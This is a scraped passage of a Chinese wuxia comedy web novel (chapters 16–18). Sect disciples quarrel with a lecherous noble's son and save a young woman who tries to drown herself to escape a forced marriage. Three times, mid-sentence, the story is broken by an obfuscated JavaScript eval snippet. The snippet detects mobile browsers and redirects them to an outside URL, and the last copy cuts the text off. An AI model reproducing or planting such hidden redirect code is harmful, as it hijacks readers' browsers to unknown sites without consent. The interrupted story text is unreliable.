沐灵泽和沐辰风凑了过去，分别对柳惜朝和林惜英耳语了几句，说明了事情的前因后果。柳惜朝听罢，看向锦衣少年，依旧是一派的温文尔雅:“这位公子，既然是你先撞到的人，那……” “道歉！本公子现在就给你们道歉！”锦衣少年忽然道。 洛、沐三人听了此话，皆是一怔，心道此人莫不是有病？但紧接着，他们就发现此人没病，此人只是单纯的好色，两只贼溜溜的眼睛自打见了林惜英，就没有移开过。 难怪他会突然答应道歉，真是欠揍！ 16. 人间4 “看什么看？！还不赶紧散了！再看本公子把你们眼珠子抠下来！”锦衣少年好不容易逼迫自己将目光从林惜英脸上移开，扯开嗓子冲周围的人群吼道。 百姓们仿佛都认得这少年，一被驱赶，立马悠哉悠哉有说有笑地散了。 少年走到洛纤凝跟前，郑重其事地拱手道:“对不住了这位姑娘，方才是我一不小心冲撞了姑娘，给姑娘赔礼了！”说着深深地鞠了一躬。 洛纤凝翻了个白眼，道:“你方才不是嚣……” “张得很”三个字还未说完，眼前的人就已不见了踪影，转而溜到了林惜英的面前，扇子一摇，笑眯眯道:“这位姑娘好生眼熟啊，仿佛在哪里见过一般。啊！我想起来了，原来是在梦里！” 林惜英望着面前的少年，皱了皱眉，一语未发。柳惜朝此时也已明了:此人想打林惜英的主意。他伸手捉住林惜英的胳膊，道:“惜英，我们走吧，莫要与此人……” “梦你个鬼啊！”柳惜朝话才说到一半，洛纤凝就冲了过来挡在林惜英面前，抱着凌云剑斥道，“全天下的男人都和我师姐眼熟！你算哪根葱啊？！” 贼眉鼠眼，奸诈之相，一看就不是什么好东西！ “就是！”沐辰风也跑了过来，和洛纤凝肩并肩站在一起，将林惜英挡了个严严实实，“你谁啊？！敢打我师姐的主意，我奉劝你，立刻滚蛋！否则休怪我们对你不客气！” 然而少年充耳不闻，扇子一合，踮起脚尖对林惜英道:“姑娘，在下窦季延！乃是城……” “斗鸡眼？！”洛纤凝突然念道，心道这名字取得好啊，俗话说得好，人如其名…… “大胆！”少年身后的那名大汉朗声道，“什么斗鸡眼？！是窦季延！伯仲叔季的季！延续香火的延！你这小姑娘，怎么跟我家公子说话呢？！” “就是！你这小姑娘，怎么跟我家公子说话呢？！你知道我家公子是谁么？！！”另一名大汉上前两步附和道，声音之大，仿若洪钟，震得五个人耳朵疼。 洛纤凝闭上眼睛，片刻后睁开，道:“大哥，你就不能小点声么？唾沫星子都……” “不能！！”大汉睁大眼睛瞪着洛纤凝，一双黄豆般大小的眼睛仿佛要吃人，怎么看怎么好笑，“我兄弟二人生来嗓门就这么大！！你待怎的？！！” 窦季延似乎也被这声音给震到了，都没心情生洛纤凝的气，转头冲二人嚷道:“老王啊，怎么跟人家小姑娘说话呢？！还有你老沙！你们两个嗓门能不能小一点？！本公子的耳朵都快你们俩给震聋了！” 两名大汉听了这话，立马俯首弯腰，放低姿态，声若蚊蝇道:“好的公子。” 洛纤凝:“……” 捧高踩低啊这是，呸，不要脸！ 窦季延将脸转了过来，继续锲而不舍地透过缝隙偷瞄林惜英，神色贪婪道:“不知这位姑娘姓甚名谁，家住何处，可有婚配？” “有！”洛纤凝实在受不了此人的胡搅蛮缠，不耐烦道，“她配给我了！怎么，你想跟我抢啊？！先问问我手中的剑答不答应！”说着将手中的剑举到了胸前，作拔剑状。 林惜英:“……” 柳惜朝:“……” 沉默片刻，窦季延道:“你你你……你们……肮脏！” “你说什么？！有本事你再给我说一遍！！”洛纤凝将凌云剑从剑鞘中拔出了一半，雪白的剑身反射出耀眼的日光，刺得窦季延眼睛一花。他往后退了一步，哆哆嗦嗦道:“你你你……你想干什么？！你知道本公子是谁么？！” 见洛纤凝欲对自家公子行不轨之事，老王和老沙立刻拔出大刀，道:“敢对我家公子不敬，我劝你立刻缴械投降！否则我兄弟二人一定打到你跪地求饶！！” 柳惜朝见状，慌忙上前两步挡在中间，劝道:“两位，有话好好说，何必……” “打就打，谁怕谁？！”柳惜朝话说到一半，又被打断。只见沐灵泽冲了过来站在了洛纤凝的身旁，举起手中的破空剑，一副视死如归的模样，“我们五个人，还怕打不过你们三个人？！” “就是！”沐辰风脸不红心不跳道，“你知道我们是谁么？我们可是长绝剑仙的弟子！你们打得过我们么？！” 柳惜朝:“……” 林惜英:“……” 好烦，好吵。 “长绝……剑仙？”窦季延皱了皱眉，“那是什么东西？” “……大胆！！”洛纤凝怒目圆睁，恨不得上去给他一耳光，“长绝剑仙你都不知道？！长绝山你总该知道吧？！” 此人竟连长绝剑仙都不知道，真是岂有此理！若是让琼芳长老知道了，定要将他的头发全都削光！ 这时，老王和老沙凑到窦季延耳边耳语了一句，窦季延这才恍然大悟，摩挲着手里的扇子，道:“哦，原来是东海边上的那座破山，我想起来了。” “……” 一阵短暂的寂静过后，洛纤凝大喝一声，拔出凌云剑就朝窦季延劈了过去:“你这个死斗鸡眼！竟敢骂我们长绝山是破山！看我今天不砍死你！！” “……啊！！！”窦季延一声惨叫，拔腿就跑，边跑边道:“王不俗沙不死！快！给本公子拦住这个疯女人！！” 王、沙二人护主心切，挥刀就朝洛纤凝劈来。沐灵泽与沐辰风拔剑将沙不死的刀劈去了一旁，与之缠斗了起来。王不俗的大刀则与凌云剑击在了一起，发出“铮铮铮”的几声巨响，震得洛纤凝头皮一麻又一麻，几个回合下来，她忍不住叹道:“好刀法！” 王不俗听此夸赞，目露傲色，道:“那当然！我王不俗的刀法若称天下第一，就没人敢称第二！不对！我王不俗的刀法若称天下第二，就没人敢称第一！！” “阿凝！沐灵泽沐辰风！还有这两位兄台！你们都……” “你放屁！”柳惜朝在几个人中间转来转去，欲再次劝和，怎料又被打断。只见沙不死一刀震开沐灵泽和沐辰风，面朝王不俗喊道:“论刀法，我沙不死才是天下第一！你算老几啊？！就你破刀法，顶多算老二！！” 沐灵泽:“……” 沐辰风:“喂！这位杀不死大哥！你还打不打了？！” “你说什么？！”王不俗眉毛眼睛拧在了一起，扛着大刀往沙不死的方向迈了过去，“你说我的刀法破？！好啊，有种咱俩现在就比一比！让他们看看，到底谁才是天下第一！！” “好啊！比就比！我老沙还怕了你不成！！” 两个人说罢，便旁若无人地打了起来，大刀碰撞的声音震得整条街仿佛都在颤抖，路人也与方才一样，纷纷驻足不前，看起了热闹。 五人:“……” 洛纤凝自言自语道:“这斗鸡眼上哪儿找的这两个蠢货？简直比夏长殷还蠢！”她收剑归鞘，将左手搭在眉间，踮起脚尖朝前方望了望，果然，那个斗鸡眼早已跑得不见了踪影。 罢了，好女不跟男斗。她转过身，凑到林惜英和柳惜朝身边，幸灾乐祸道:“师姐，大师兄，你们瞧，这俩人好不好笑，方才还称兄道弟，说是兄弟俩，现下不一致对外，反倒自己先打了起来。唉，这世上怎会有这么蠢的人？真是长见识了。” 柳惜朝瞪她一眼，道:“你还好意思说！都跟你说过多少遍了，君子动口不动手，有话好好说就是，何必每次都动刀动剑的？万一真的伤到了人可如何是好？！” “……大师兄！”洛纤凝愤愤然道，“你怎么又怪我？明明是那个斗鸡眼先觊觎的师姐！他还骂我们长绝山是破山！” “那你也不应该动手！”柳惜朝大声道。 “我又没伤到他，我只不过想吓吓他罢了！” “那也不行！” “怎么不行了……” “够了！”林惜英突然出声，“何必为了素不相识的人争吵？我们走吧。” 沐灵泽和沐辰风正倚在一块儿看好戏看得不亦乐乎，余光瞥见洛纤凝三人走了，沐灵泽忙用胳膊肘戳了沐辰风一下，道:“走了，别看了。”临走时不忘跑去方才的小摊前，将那两只竹蚂蚱买下来。 沐辰风贴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15510501|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身边瞅着他，好奇道:“阿泽，你买这玩意干嘛？这不是小孩子玩的东西么？” 沐灵泽斜了他一眼:“要你管！”说罢一阵风似的朝前方那三人跑去，边跑边自言自语道:“一只给洛纤凝，一只给林师姐，不过林师姐应当不会喜欢这玩意。嘻嘻，我真聪明。” 果然，如他所料，当他将竹蚂蚱递到林惜英和洛纤凝面前时，林惜英只看了一眼，便道:“我不喜欢这东西，给大师兄吧。” 柳惜朝道:“我也不喜欢，沐师弟，你留着自己玩吧。” “……那好吧。”沐灵泽只好假装一副不情愿的样子，将另一只揣进了自己兜里。 洛纤凝饶有兴致地把玩着手里的竹蚂蚱，感叹道:“编得真好，跟真的似的，比大师兄编得好看多了。” 柳惜朝:“……” 洛纤凝浑然不觉柳惜朝射来的眼刀，问沐灵泽:“多少钱啊沐灵泽？快，大师兄，把钱给他。” 柳惜朝:“……” 得，自己教大的师妹，自己受着。 见柳惜朝果真掏出了荷包，沐灵泽赶忙挥手道:“没多少钱，一只竹蚂蚱而已，师兄弟一场，这么见外做什么？大师兄，就当我感谢你们这一路上带着我和沐辰风好了。” 柳惜朝只得作罢，替洛纤凝道了声谢。 这时，一个幽幽的声音从身后响起，带着三分怨气:“阿泽，你怎么只给他们买，不给我买？” 沐灵泽扭过头，没好气道:“你自己没钱啊？！不会买啊？！” 沐辰风:“……哼！” 五个人绕去了另一条街，一路上形形色色的东西买了不少，最终于黄昏时分大包小包地回到了客栈。 店小二端来了五份热气腾腾的阳春面，洛纤凝吃了两口之后，唉声叹气道:“也不知道那个王不俗和杀不死分出胜负了没，早知道就多看一会儿了。唉，师姐，都怪你，非要拉着我走，害我错过了一出好戏……” 林惜英:“……” 这时，柳惜朝突然从袖中摸出一样物什，一掌拍在桌上:“这支簪子，给你的。还有你那一言不合就动手的脾气，什么时候能改改？” 洛纤凝肩膀一抖，定睛看去，只见桌上躺着一支银簪，上面刻着她从未见过的花纹。她拿起一看，皱眉道:“这什么花？难看死了。话说戴这玩意多影响我打架，沉甸甸的，还是我头上的这个比较方便。”她一边说着，一边十分爱怜地摸了摸自己高马尾上的那条红色发带，像是在摸什么宝物。 柳惜朝:“……不要拿来！” 本来也没想给她买，因为知道她肯定不喜欢。他劈手欲夺回簪子，怎料却被洛纤凝躲开，下巴一扬，道:“那不行！已经送出去的东西，哪有收回去的道理？大师兄放心，我会好好保管这东西的！”她顿了顿，看向林惜英:“师姐，你也有么？” 林惜英:“嗯。” 洛纤凝心道:“我就知道，大师兄怎会给我买这东西？八成是想用我打掩护罢了，奸诈！” 她正要将簪子收进袖中，就瞥见沐灵泽咽下口中的饭菜，盯着她手中的簪子道:“这个啊，是凌霄花。” 洛纤凝见过的花不多，即便见过，也记不住那些花的名字，分不清哪个是哪个，更何况此花她之前从未听说过，于是问道:“那是什么花？能吃么？” “……” 沐灵泽僵了片刻，笑吟吟道:“凌霄花呢，无论生在什么地方，都能顽强生长。我觉得挺像你的。” 他这话自以为说得诚恳又漂亮，却不料洛纤凝竟跟炸了毛似的，瞪着他道:“像什么？！哪儿像了？！什么这花那花，狂风一吹，还不是一样都倒了！我洛纤凝要做就做参天大树！怎么吹都吹不倒！！” 沐灵泽:“……” 其余三人:“……” 柳惜朝颇为嫌弃道:“你小点声，周围还有人呢。” 洛纤凝:“……哦。师姐，你觉得我说得对不对？” 林惜英夹了一筷子菜，闻言，想都未想便道:“对。” 17. 人间5 一行人在沧州城内一直待到第四日，该逛的地方全都逛了一遍，该吃的美食全都吃了一遍，依旧什么妖怪都没有发现。 “师姐，大师兄，要不我们换个地方吧？这都待了多少天了，连妖怪的影子都没见着。”洛纤凝左顾右盼地漫步在街上，顺便对林惜英和柳惜朝抱怨道。 跟在她身后的沐灵泽抱着胳膊，嘴里叼着一根又细又长的草，悠哉悠哉道:“没有妖怪难道不是好事么？你怎么老盼着有妖怪出来作恶？” “就是！”沐辰风咬着苹果附和道，“百姓安居乐业是多好的事，干嘛要有妖怪出现？洛纤凝，你真歹毒！” 洛纤凝转头瞪了二人一眼，斥道:“闭嘴！我洛女侠下山是来历练的，又不是来享福的！你才歹毒！” 柳惜朝道:“无事发生自然最好，但既然无事发生，那我们留在这里也没什么用，明日便启程离开吧。” “好耶！”洛纤凝雀跃地跳了起来，刚跳到半空，还没落回地上，就听一个女人的尖叫声自不远处响起:“快来人啊！有人落水了！快救人啊！！” 妖怪没等到，竟等到一个落水的。 洛纤凝肩膀一耸，道:“谁？谁落水了？等着我，我洛女侠来了！”她迈开腿，火急火燎地朝河边跑了过去，跑到跟前才发现，她好像不会水，而那落水之人也已沉了下去，即将性命不保。 周边的百姓围了一圈，纷纷喊道:“谁会水？！快下去救人啊！！” 然而喊了半天，愣是没有一个人肯下水救人。就在这时，沐灵泽正好跑到了河边，听见此话，想都未想便道:“我会！” 顺着百姓指向的方位，沐灵泽一头扎入了河中，都不用找，很快就看见了人。沐灵泽游了过去，揽住那女子的腰身，将人带上岸来，这才发现，这女子竟和自己年纪相仿，即便头发湿哒哒的贴在脸侧，也能看出来，是个如花似玉的大美人。 还好方才他离河边不远，否则这么年轻貌美的女子，若是死了，那真是太可惜了。 目睹沐灵泽熟稔的动作和矫健的身姿，洛纤凝嘀咕道:“看不出来，这个沐灵泽，竟然会水。看来带上他还是有几分用处的。”她望着躺在地上浑身湿漉漉的少女，感叹道:“哇，好漂亮的姐姐，还好我来得及时，否则这么年轻……” 还没感叹完，就看见沐灵泽跪在地上，伸出双手，似乎要占那少女的便宜，但不知怎的，又悬在了半空中。洛纤凝被他这举动吓了一跳，连忙上前将他的手拍开，道:“喂喂喂，男女授受不亲，沐灵泽，你要干嘛？！” 沐灵泽抬起头，双眼茫然地看着她:“救人啊，但是……” 但是他实在不知该如何下手，毕竟他此前从未碰过任何一个女子的身体。 “救人需要这么救么？”洛纤凝第一次下山，不知道这些，心想难道不应该去请大夫么？ 就在这时，一个稚嫩的声音道:“我来！我家是开药铺的！我知道如何施救！” 众人扭头望去，竟是一个十二三岁的小姑娘，从人群中挤了进来，动作极快地跑到落水女子的跟前，双膝落地，道:“大哥哥，我来吧，你快快回家去换身衣服吧！” 沐灵泽道了声好，将位置腾给了小女孩，走到一旁的空地上，抓过沐辰风的衣袖擦起了脸。 沐辰风:“喂！你干嘛？！算了，你快回客栈去换身衣服吧！” 沐灵泽摇了摇头，道:“没事，这么暖和的天，一会儿再换来得及。” 人群中突然有人喊道:“这不是钟家的姑娘么？！快，去钟府报个信，没准有赏钱呢！”此话一落，人群中瞬间少了好几个人。 小女孩三两下就将人救醒了过来，少女咳嗽了几声后，不仅没有向小女孩致谢，反而掩面痛哭了起来:“为什么要救我？为什么不让我死了算了？！” 人群一阵喧哗，仿佛在议论着什么。站在洛纤凝身后的林惜英眉心一蹙，心道原来并非失足落水，而是有意寻死。她上前两步，蹲在少女身旁:“姑娘，你大好年纪，为何想不开要寻死？” 莫非是遇到了什么难事？ 仿佛是为了印证她的猜想，周围有人窃窃私语道:“这钟家的姑娘也真是可怜，如花似玉的一个大美人，家中不愁吃不愁穿，却偏偏被城守大人那不学无术整日宿在青楼的四公子给看上了，难怪要寻死，唉……” “谁说不是呢，倘若那四公子模样好看一些也就罢了，可偏偏他长得也……唉，真是一朵鲜花插在了牛粪上，换我我也不乐意。” “你们这话就不对了，男人有钱才最重要，模样好不好看有甚重要？再说男人嘛，有几个不逛青楼的？那叫风流！能嫁去城守府，是多少人求都求不来的好事，你们女人真是头发长，见识短！” “你说谁头发长见识短呢？你要是乐意你自己去嫁啊！” “我一个大男人怎么嫁？我要是女儿身，我早就……” “你早个豆腐啊！还好你这种人没有女儿，谁要是做了你女儿，那真是倒了十八辈子的血霉！被你卖了都不知道！” “嘿！你这女人怎么说话呢？！你你你……卖你的豆腐去吧！” “我说你们都小点声吧，小心被有心之人听到了，传到四公子耳中，就等着他来请你们喝茶吧！” 听到此处，林惜英登时心下明了，原来是因为此事。 少女未说话，只是一味地咳嗽，一味地抹眼泪，看得林惜英和洛纤凝手足无措，想安慰但又不知该如何开口。 “小姐！”这时，另一个年轻的女声响了起来，伴随着急切的步伐。林惜英抬头望去，见是一个丫鬟模样的少女，奔上前来哭道:“小姐，您没事吧？奴婢只离开了一会儿的工夫，您怎么就……小姐，您怎么这么傻啊？再怎么样也不能拿自己的性命冒险啊，您要是出了什么三长两短，奴婢可怎么跟老爷交代……” 被唤作小姐的少女仍是一语未发，颤抖着双手随意抹了一把脸上的泪水后，挣开丫鬟的束缚，跌跌撞撞地就要自己往前走。 丹若知道自家小姐此刻已心如死灰，说什么都已无用，只好一言不发地跟了上去将人搀住，又瞥见人群中有好几个男子不怀好意地往自家小姐身上瞅，这才发觉什么。她顿时一肚子气，正要开口叫他们滚得远远的，就看见一个年轻男子手里捧着一件白色斗篷，三两步走上前来，将自家小姐从上到下除了脑袋以外裹了个严严实实。 主仆二人皆是一怔。 丹若粗略地打量了一下那男子。那真是一个模样极为周正的男子，大约二十岁出头的年纪，个头很高，五官英挺又柔和，双目温和而明亮，唇角微微上扬，明明没有笑，却给人一种笑意盈盈、如沐春风的感觉。 只听那男子温声道:“姑娘，小心别着凉了。”又转头对周边围着的人群道:“诸位，都别看了，散了吧！” 人群终于开始散开，洛纤凝挪动脚步来到朝柳惜朝跟前，问道:“大师兄，你什么时候去弄了一件斗篷？我怎么没看见？” “就刚才， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519332|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐师弟将人救上来的时候。”柳惜朝回道，又问面前的少女:“不知姑娘家住何处，需要我们送你回家么？” 少女抬头看着柳惜朝，拢紧了肩上的斗篷，哆嗦着嘴唇，没有答话。 一旁的洛纤凝支着下巴在心里嘀咕道:“大师兄可真细心，这么细心的好男人以后不能成亲，真是太可惜了。”转头看见沐灵泽蹲在地上，双手撑着下巴，一动不动地望着这边，浑身上下湿漉漉的，头发和脸颊上滴着水，跟只落水的小狗似的。她又好气又好笑，没忍住喊道:“沐灵泽！你不赶快回客栈换身衣服，蹲在那儿做什么？！” 沐灵泽这才回过神来，“哦”了一声，拉着沐辰风就往客栈的方向奔去。 与沐灵泽一同回过神来的，还有钟思遥。 钟思遥的咳嗽又加剧了，以手掩唇，对柳惜朝道:“不……不用了，多谢公子，这么暖的天，我自己可以……”然而话未说完，便觉双腿一软，直直地朝地上跪去，幸好被柳惜朝和丹若眼疾手快给搀住了。 丹若急道:“小姐，您说您何苦呢？本来身子就不好，这下又落了水。不就是一门婚事么？哪有命重要啊……” “不就是一门婚事？”钟思遥忽然抬起头，目光冰冷地盯着丹若。 丹若仿佛被钟思遥的眼神给刺了一下，咽了口唾沫，低下了头。 钟思遥苦笑道:“也是，嫁人的又不是你，你与我爹还有那些男子一样，都觉得是我高攀他了吧？” “小姐，奴婢不是这个意思。”丹若急急忙忙分辩道，“奴婢的意思是，还没到穷途末路的时候，何必……” “婚期近在眼前，这不是穷途末路又是什么？！”钟思遥一边说着，一边泪如雨下，“若是我娘还在，怎会容许我嫁给那等人！总之我钟思遥宁愿死，也不会嫁给一个纨绔！”说罢猛地推开丫鬟，朝河边扑去，“还不如让我死了算了！” 白色斗篷从眼前滑落，柳惜朝来不及震惊，赶忙疾行两步将人拽了回来。 “……小姐！！！”丹若吓得脸都白了，冲上去抱住跌在地上的钟思遥，哭喊道:“小姐你这是做什么？都是奴婢不好，奴婢不该带你出门，不该丢下你一个人……” 本想着带自家小姐出来散散心，总好过日日躲在屋里哭，谁料她来到河边后，竟生出了轻生的念头，故意将她支走…… 洛纤凝僵在原地，张大了嘴巴，说不出话来。反而林惜英却动作极快地走到钟思遥面前，蹲下身安慰道:“姑娘这是做什么？一遇到事就寻死，那天下被欺凌之人岂不是都不用活了？” 钟思遥哭着不说话。 柳惜朝道:“是啊钟姑娘，俗话说得好，好死不如赖活着。身体发肤，受之父母，怎么能说不要就不要呢？令堂在天之灵，定然也不希望你年纪轻轻就去陪她。” 洛纤凝此时也不再发愣，一溜烟地跑上前来，道:“对对对，钟姐姐，有什么事你告诉我们，我们可是长绝山的弟子，没有什么是我们办不到的！” 柳惜朝:“……” 长绝山一向以斩妖除魔为己任，何时还管人家婚丧嫁娶？真想给他这师妹一个大耳刮子。 听见“长绝山”这三个字，钟思遥起先还觉得高兴，毕竟她曾听闻，长绝山的弟子斩妖除魔无所不能，随便拎一个出来都比朝廷的任何一位武将强。但紧接着，她似是想起什么，眸光一暗，道:“男婚女嫁，且又是父母之命，即便你们是长绝山的弟子，又能如何？还能让那个纨绔不娶我不成？” 18. 人间6 洛纤凝还想再说些什么，忽见前方火急火燎地驶来了一辆马车，车夫仿佛认得钟思遥，勒住马儿停在了几个人跟前，对马车内的人喊道:“老爷！小姐在这儿！小姐没事儿！” “女儿啊！”一个中年男人焦急的声音自马车内挤了出来，洛、林、柳三人抬眼望去，看见一个身着褐色衣衫的男人慌里慌张地从马车上跳了下来，直往钟思遥身上扑去，开口就是一连串:“女儿啊，你没事儿吧？让为父好好看看……没事儿就好，可把为父给吓坏了！为父一听说你掉河里去了，马不停蹄地就往来赶啊！话说好端端的，你怎么掉河里去了？丹若！你是干什么吃的？！让你好好跟着小姐，你倒好，竟然把人跟到河里去了！你还愣着干什么？！还不赶快去请大夫？！小姐要是出了什么事，我饶不了你！”然后又盯着柳惜朝一行人道:“想必这几位便是救了小女的恩人吧？” 柳惜朝道:“是我师……” “恩人呐！”柳惜朝话还未说完，中年男人就拉着他的胳膊急吼吼道，“不知恩人是否愿意赏脸去府上一坐，如此钟某也好设宴款待，以答谢恩人救命之恩……” “不必了。”柳惜朝推辞道，“举手之劳，不足挂齿。令爱受了寒，员外还是赶快送令爱回府吧，我等就不叨扰了。” “……那好吧，诸位日后若有难处，尽管来我钟府，老夫必将竭力相助！”钟氏说完这话，扶着女儿欲上马车，钟思遥却忽然止步，回头望向柳惜朝，一双眼睛柔情似水:“敢问公子名姓，如今暂住何处？他日小女也好登门致谢。” 柳惜朝被这眼神看得心肝一颤，咽了口唾沫，才道:“姑、姑娘客气了，举手之劳罢了，就……” “钟姐姐，我大师兄叫柳惜朝，柳树的柳，珍惜的惜，朝朝暮暮的朝。我们就住在前面不远处的来福客栈，欢迎你来找我们玩哦。不过我们马上就要走了，你可要快点哦！”洛纤凝幸灾乐祸的声音陡然响起，似乎巴不得柳惜朝赶紧入赘到钟府，从此不回长绝山。 柳惜朝:“……” 目送马车离去，柳惜朝大喝一声:“洛纤凝！”便扑了上来欲揪洛纤凝的耳朵。 洛纤凝躲在林惜英身后，嬉皮笑脸道:“大师兄，你别生气嘛，你瞧那钟姑娘看你的眼神，她肯定是看上你了！反正钟姑娘长得好看，家里也有钱，你也不亏！这门亲事我替师父允了！” “你允个头啊！”柳惜朝难得动怒道，“人家钟姑娘都已经是定了亲的人了，岂可胡说八道，毁人清誉！” “你没听钟姑娘说她死也不嫁那个四公子么？这门亲事成不成还不一定呢！” “你……” “大师兄。”林惜英突然开口道，“阿凝开个玩笑罢了，大师兄怎么还当真了？” 柳惜朝这才罢休，瞪了洛纤凝一眼，扔下一句:“你最好只是开玩笑！”便朝客栈走去。 洛纤凝吐吐舌头，拉着林惜英跟了上去，期间叹道:“这位钟姑娘，真是好骨气！话说这城守家的四公子到底长什么样？很丑么？还有，他到底知不知道这位钟姑娘压根就不喜欢他？不想嫁他？” 林惜英黯然道:“方才钟姑娘说了，她与那四公子的婚事，乃是父母之命。看来话本里写的都是真的，父母之命，媒妁之言，男女的婚事，竟当真由不得自己做主。” “……这到底是谁定下的破规矩？！”洛纤凝义愤填膺道，“成婚的又不是父母和媒婆，他们操这心干嘛？！” “那如果富家小姐要嫁穷小子呢？”林惜英反问道。 “……” 洛纤凝回想了一下昔日在话本里看过的一个故事——穷小子发达后抛弃了富家小姐，娶了一个更年轻更貌美的，害得富家小姐郁郁而终。她若有所思道:“那……父母的话，有时候还是要听一下的，嘻嘻。”顿了一下，她又问:“师姐，我方才听他们说，那个四公子整日睡在青楼，青楼是什么地方？青色的楼么？” 林惜英脚步一顿。 洛纤凝瞅着她，眨眨眼道:“师姐，你怎么了？” 林惜英:“……没什么，我也不知道，你待会儿去问大师兄吧，他肯定知道。” “……好吧。” 回到客栈后，五个人聚在一间客房内，洛纤凝问起了青楼一事。 “……青楼啊。”柳惜朝支支吾吾不敢回答，也不敢看洛纤凝和林惜英，半晌后端起茶杯喝了一口茶，然后又轻咳了一声，才道:“这个啊，其实……大师兄也不太清楚，但是两位沐师弟久在江湖，他们肯定知道！” 猛然间被甩了个烫手山芋，沐灵泽和沐辰风一下子瞪大了眼睛，心道这个大师兄，平日里看起来挺老实的一个人，没想到竟也有这么狡猾的一面！ 望着洛纤凝充满希冀的眼神，沐灵泽反应极快地开口道:“你……你别看我啊，我也不知道，沐辰风肯定知道，你去问他！” “……喂！”沐辰风正趴在窗边咬着苹果，顺便欣赏街上的风景，听见他们议论的话题，眼珠一瞪又一瞪，此刻竟连站都站不稳了，一脸骇然地扭过头，道:“什么叫我肯定知道？！我我我……我也不知道，你去问问问……问店小二，他他他……他肯定知道！” 洛纤凝:“……喂！你们到底怎么回事？！是觉得我长得像傻子么？！” 然而没有人搭理他。柳惜朝偏过头去喝着茶，沐灵泽低下头嗑着手心里的瓜子，沐辰风则依旧咬着苹果望着窗外。 洛纤凝:“……” “其实就是门规当中的烟花之地。”林惜英放下茶杯，突然开口。 其余三个人顿时松了口气，怎料洛纤凝接下来的话，又让他们感到巨石压顶。 她说:“哦，原来青楼就是师父跟我说的放烟花的地方？我就搞不懂了，这门规里为什么禁止我们去这种地方？我问过师父，师父也不跟我说。而且小的时候大师兄不是还给我们放过烟花么？师父和琼芳长老他们也没说什么啊？” “……噗！”柳惜朝一口热茶喷了出来，呛了半天。沐灵泽捏着瓜子的手举在唇边，眼睛滴溜溜地看向林惜英和柳惜朝。沐辰风刚咬进口的苹果也险些掉到了街上，砸到了路人。 洛纤凝扫了他们一眼，问道:“又怎么了？我说错什么了么？” 柳惜朝一边咳嗽，一边将脸别了过去，摆摆手道:“没、没有。” 沐灵泽则哈哈大笑了起来。 一想到洛纤凝曾经缠着洛逍问青楼是什么地方，为什么不能踏足烟花之地，他就想笑。也不知道洛逍当时是什么表情，真想亲眼目睹一下。 林惜英憋了又憋，此刻终于憋不住了，一把将洛纤凝拽了过来，对她耳语了几句。洛纤凝听罢，登时大惊，“腾”的一声站了起来:“什么？！青楼竟然是……竟然是这种地方？！师父他怎么能骗我？！！” “……” 其余三人心道:“终于解脱了。” 洛纤凝低头瞅着林惜英:“师姐你怎么知道的？你刚才不是还说你不知道么？” 林惜英:“话本看多了，自然就知道了。” 洛纤凝:“那我怎么不知道？” 林惜英:“……不知。” “……这还了得？！”洛纤凝双手叉腰，怒发冲冠道，“这世上怎么会有这种地方？！不行，我绝对不能让钟姐姐嫁给这么一坨脏牛粪！我要拯救她！！” 四人:“……” 柳惜朝一阵无语，道:“你打算怎么拯救？” 洛纤凝昂首挺胸，中气十足道:“去找那个四公子，让他退婚！” “他要是不退呢？” “那我就打到他退为止！实在不行，我就带钟姐姐回长绝山！” “你疯了不成？”柳惜朝斜眼看她，嗔道，“这天底下每日都有这种事情发生，你难道要把这些女子全都带回长绝山么？那她们的家人又该如何？也带回去么？还想打人？你可知他是城守之子？城守可是朝廷命官，岂是你说惹就能惹的？别到时给长绝山惹来祸事。” “……那、那怎么办？！”洛纤凝急道，“这也不行，那也不行，那总得试试吧！” 柳惜朝不答反道:“不早了，都歇息吧，有什么事明天再说吧。”说罢起身就要出房间。 洛纤凝知他想跑，忙不迭追了过去挡在门边:“那大师兄，我们明天还走不走了？我丑话说在前面，反正我是不走，要走你们走吧！” 柳惜朝被她这师妹气得牙痒痒，伸手就去拧她的耳朵:“你能不能听点话，这种事就不是我们该管……” 话未说完，就被林惜英打断:“大师兄，我和阿凝一个想法，要走你们先走吧。” 洛纤凝眼睛一亮。 柳惜朝却是眉头一皱，道:“惜英，你怎么也……” “大师兄，”林惜英神情庄重道，“可能这种事你从前没有管过，以后也不想管，但既然让我遇见了，我就不能不管。同为女子，倘若让我嫁给一个自己不喜欢甚至瞧不上的人，我不愿意。所以我能理解钟姑娘的心情，我想留下来帮她，无论结果如何，只求问心无愧。” 柳惜朝被林惜英这番言论给震惊到了。并不是因为她这话说得多有道理，而是因为这是他从小到大第一次听林惜英一口气说这么多的话，而且最重要的是，这些话是对他一个人说的。 的确，身为男子，他以前从未管过这种事，更何况这种事也与他无关，更与长绝山无关，他只管斩妖除魔，锄强扶弱。谁家的女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 